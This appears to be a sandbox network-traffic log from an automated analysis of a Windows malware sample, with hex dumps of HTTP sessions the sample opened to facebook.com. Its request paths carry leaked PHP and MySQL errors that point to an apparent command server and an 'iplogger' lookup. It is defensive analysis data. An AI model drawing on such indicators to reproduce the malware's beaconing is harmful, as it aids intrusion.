2022-09-09 16:00:39 UTC	373	IN	Data Raw: 63 55 57 72 35 44 63 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 41 39 63 69 56 42 39 22 2c 22 71 65 57 30 70 74 62 22 2c 22 37 4c 31 57 44 68 47 22 2c 22 79 53 65 57 37 48 67 22 2c 22 50 6c 35 4e 69 65 4f 22 2c 22 79 52 61 39 76 67 35 22 2c 22 63 68 62 39 6d 42 44 22 2c 22 7a 68 31 38 45 63 55 22 2c 22 77 37 56 79 70 50 4b 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 58 46 4a 6f 47 59 76 22 2c 22 4e 30 77 44 2f 70 78 22 2c 22 4f 51 76 39 57 33 4c 22 2c 22 6e 45 47 73 73 58 42 22 2c 22 2b 71 52 48 53 56 58 22 5d 7d 29 3b 7d 29 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 5f 5f 62 69 67 50 69 70 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 62 69 67 50 69 70 65 29 7b 62 69 67 50 69 70 65 2e 73 65 74 50 61 67 65 49 44 Data Ascii: cUWr5Dc","gjzD634","A9ciVB9","qeW0ptb","7L1WDhG","ySeW7Hg","Pl5NieO","yRa9vg5","chb9mBD","zh18EcU","w7VypPK","R5w1rCJ","XFJoGYv","N0wD/px","OQv9W3L","nEGssXB","+qRHSVX"]});}));</script><script>requireLazy(["__bigPipe"],function(bigPipe){bigPipe.setPageID
2022-09-09 16:00:39 UTC	374	IN	Data Raw: 42 61 6e 7a 61 69 42 61 73 65 22 2c 22 41 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 62 64 50 54 4d 65 48 4a 4b 4a 4a 49 73 55 57 77 57 67 39 53 31 41 55 38 52 47 47 6e 32 76 4c 58 65 74 33 69 54 6d 38 6b 63 74 57 33 4b 37 69 38 45 36 62 47 34 34 75 79 35 7a 46 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 34 35 38 31 31 33 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 33 6b 65 70 4f 71 46 5f 65 39 64 6e 65 34 49 5f 4d 6c 34 37 42 65 37 4b 57 6d 59 6e 31 73 51 54 6a 79 64 45 73 78 66 54 75 52 4f 51 73 46 54 74 47 72 53 6f 4f 52 73 35 72 79 6d 65 41 35 52 74 57 70 63 4d 4b 5a 46 47 4d 36 66 54 68 74 52 65 58 70 2d 66 6a 32 6b 61 73 65 4e 43 6f 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 36 39 39 Data Ascii: BanzaiBase","Aa2vs1Z6Yvnn2qZpm-CauDBlP12afw8bdPTMeHJKJJIsUWwWg9S1AU8RGGn2vLXet3iTm8kctW3K7i8E6bG44uy5zFM"]},-1],["cr:1458113",[],{__rc:[null,"Aa3kepOqF_e9dne4I_Ml47Be7KWmYn1sQTjydEsxfTuROQsFTtGrSoORs5rymeA5RtWpcMKZFGM6fThtReXp-fj2kaseNCo"]},-1],["cr:10699
2022-09-09 16:00:39 UTC	375	IN	Data Raw: 76 74 73 52 46 50 69 46 5a 71 32 6c 65 59 71 2d 55 66 55 41 53 54 47 6e 50 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 39 37 31 34 37 33 22 2c 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 41 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 62 64 50 54 4d 65 48 4a 4b 4a 4a 49 73 55 57 77 57 67 39 53 31 41 55 38 52 47 47 6e 32 76 4c 58 65 74 33 69 54 6d 38 6b 63 74 57 33 4b 37 69 38 45 36 62 47 34 34 75 79 35 7a 46 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 31 30 35 31 35 34 22 2c 5b 5d 2c 7b 5f 5f 72 63 3a 5b 6e 75 6c 6c 2c 22 41 61 30 33 71 58 64 6e 35 73 4b 6d 44 36 55 4d 61 4e 34 72 52 Data Ascii: vtsRFPiFZq2leYq-UfUASTGnPw"]},-1],["cr:971473",["LayerHideOnTransition"],{__rc:["LayerHideOnTransition","Aa2vs1Z6Yvnn2qZpm-CauDBlP12afw8bdPTMeHJKJJIsUWwWg9S1AU8RGGn2vLXet3iTm8kctW3K7i8E6bG44uy5zFM"]},-1],["cr:1105154",[],{__rc:[null,"Aa03qXdn5sKmD6UMaN4rR
2022-09-09 16:00:39 UTC	377	IN	Data Raw: 67 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 77 61 72 6e 69 6e 67 42 6c 75 65 22 2c 22 41 61 30 79 53 4a 4e 73 4e 42 68 6a 4b 4e 30 39 72 38 75 4d 62 44 5a 36 6f 35 31 6e 30 47 59 78 79 4f 75 52 62 56 36 6e 34 61 2d 78 77 31 53 4b 79 5a 52 65 78 4d 6b 57 45 6c 69 42 4b 31 35 5f 61 75 4b 65 63 48 48 6f 51 55 36 64 49 64 48 38 41 73 41 6a 66 6e 78 43 31 68 4e 64 22 5d 7d 2c 2d 31 5d 2c 5b 22 43 6f 72 65 57 61 72 6e 69 6e 67 47 4b 22 2c 5b 5d 2c 7b 66 6f 72 63 65 57 61 72 6e 69 6e 67 3a 66 61 6c 73 65 7d 2c 37 32 35 5d 2c 5b 22 63 72 3a 31 33 34 34 34 38 36 22 2c 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 2e 70 72 6f 64 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 52 65 61 63 74 44 4f 4d 2e 63 6c 61 73 73 69 63 2e 70 72 6f 64 22 2c 22 41 61 32 63 56 44 44 Data Ascii: gBlue"],{__rc:["warningBlue","Aa0ySJNsNBhjKN09r8uMbDZ6o51n0GYxyOuRbV6n4a-xw1SKyZRexMkWEliBK15_auKecHHoQU6dIdH8AsAjfnxC1hNd"]},-1],["CoreWarningGK",[],{forceWarning:false},725],["cr:1344486",["ReactDOM.classic.prod"],{__rc:["ReactDOM.classic.prod","Aa2cVDD
2022-09-09 16:00:39 UTC	378	IN	Data Raw: 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 62 64 50 54 4d 65 48 4a 4b 4a 4a 49 73 55 57 77 57 67 39 53 31 41 55 38 52 47 47 6e 32 76 4c 58 65 74 33 69 54 6d 38 6b 63 74 57 33 4b 37 69 38 45 36 62 47 34 34 75 79 35 7a 46 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 38 34 34 31 38 30 22 2c 5b 22 54 69 6d 65 53 70 65 6e 74 49 6d 6d 65 64 69 61 74 65 41 63 74 69 76 65 53 65 63 6f 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 5d 2c 7b 5f 5f 72 63 3a 5b 22 54 69 6d 65 53 70 65 6e 74 49 6d 6d 65 64 69 61 74 65 41 63 74 69 76 65 53 65 63 6f 6e 64 73 4c 6f 67 67 65 72 42 6c 75 65 22 2c 22 41 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 62 64 50 54 4d 65 48 4a 4b 4a 4a 49 73 55 57 Data Ascii: a2vs1Z6Yvnn2qZpm-CauDBlP12afw8bdPTMeHJKJJIsUWwWg9S1AU8RGGn2vLXet3iTm8kctW3K7i8E6bG44uy5zFM"]},-1],["cr:844180",["TimeSpentImmediateActiveSecondsLoggerBlue"],{__rc:["TimeSpentImmediateActiveSecondsLoggerBlue","Aa2vs1Z6Yvnn2qZpm-CauDBlP12afw8bdPTMeHJKJJIsUW
2022-09-09 16:00:39 UTC	380	IN	Data Raw: 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 27 64 62 6e 65 77 30 31 27 40 27 6c 6f 63 61 6c 68 6f 73 74 27 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 27 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 27 25 32 30 Data Ascii: %0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20
2022-09-09 16:00:39 UTC	381	IN	Data Raw: 65 73 74 53 74 72 65 61 6d 43 6f 6d 6d 6f 6e 52 65 71 75 65 73 74 53 74 72 65 61 6d 43 6f 6d 6d 6f 6e 54 79 70 65 73 3a 7b 72 3a 5b 22 39 5a 30 4a 51 57 50 22 5d 2c 62 65 3a 31 7d 7d 7d 7d 2c 61 6c 6c 52 65 73 6f 75 72 63 65 73 3a 5b 22 68 4b 59 30 51 4b 54 22 2c 22 67 6a 7a 44 36 33 34 22 2c 22 2f 6f 35 59 76 4f 32 22 2c 22 41 57 4f 2b 54 44 75 22 2c 22 41 77 74 39 4c 50 62 22 2c 22 47 70 51 46 42 77 4c 22 2c 22 41 2f 75 49 30 78 31 22 2c 22 45 46 31 68 57 6c 35 22 2c 22 71 65 57 30 70 74 62 22 2c 22 43 37 4b 77 4b 2f 56 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 63 59 55 33 63 33 32 22 2c 22 66 38 35 39 64 51 49 22 5d 7d 29 3b 7d 29 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: estStreamCommonRequestStreamCommonTypes:{r:["9Z0JQWP"],be:1}}}},allResources:["hKY0QKT","gjzD634","/o5YvO2","AWO+TDu","Awt9LPb","GpQFBwL","A/uI0x1","EF1hWl5","qeW0ptb","C7KwK/V","dAxX0jj","cYU3c32","f859dQI"]});}));</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49747	185.60.216.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:01:10 UTC	382	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:01:10 UTC	383	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: Mrywyouy+c09N0jiN9sBDUUM2W2v2CysycHbz8Hta8qlaqtNqxW6vY2zR4zfmj/TxoioKOb2Ou7W9kmCcJvvRg== Date: Fri, 09 Sep 2022 16:01:10 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:01:10 UTC	384	IN	Data Raw: 38 37 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 56 48 63 52 52 59 39 64 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 871<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="VHcRRY9d">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-09-09 16:01:10 UTC	385	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 48 63 52 52 59 39 64 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="VHcRRY9d"></style><script nonce="
2022-09-09 16:01:10 UTC	386	IN	Data Raw: 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 0d 0a Data Ascii: 32.malware-gen.30674'%20
2022-09-09 16:01:10 UTC	386	IN	Data Raw: 31 39 30 66 0d 0a 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 2f 64 61 Data Ascii: 190flimit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/da
2022-09-09 16:01:10 UTC	388	IN	Data Raw: 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 Data Ascii: enied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A
2022-09-09 16:01:10 UTC	389	IN	Data Raw: 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 Data Ascii: rd:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/sma

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49750	185.60.216.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:01:20 UTC	391	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:01:20 UTC	392	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: Hry39THH8rHJSsjdfpphoubIHnloLABAS+PW0kT2D1Oja/TuVp7YKzvuPFjBosSCH7els2NIylRTuAhu7Xp0HA== Date: Fri, 09 Sep 2022 16:01:20 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:01:20 UTC	393	IN	Data Raw: 34 32 64 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 46 74 35 75 48 48 65 52 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 42d2<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="Ft5uHHeR">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-09-09 16:01:20 UTC	394	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 74 35 75 48 48 65 52 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="Ft5uHHeR"></sty
2022-09-09 16:01:20 UTC	395	IN	Data Raw: 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 Data Ascii: 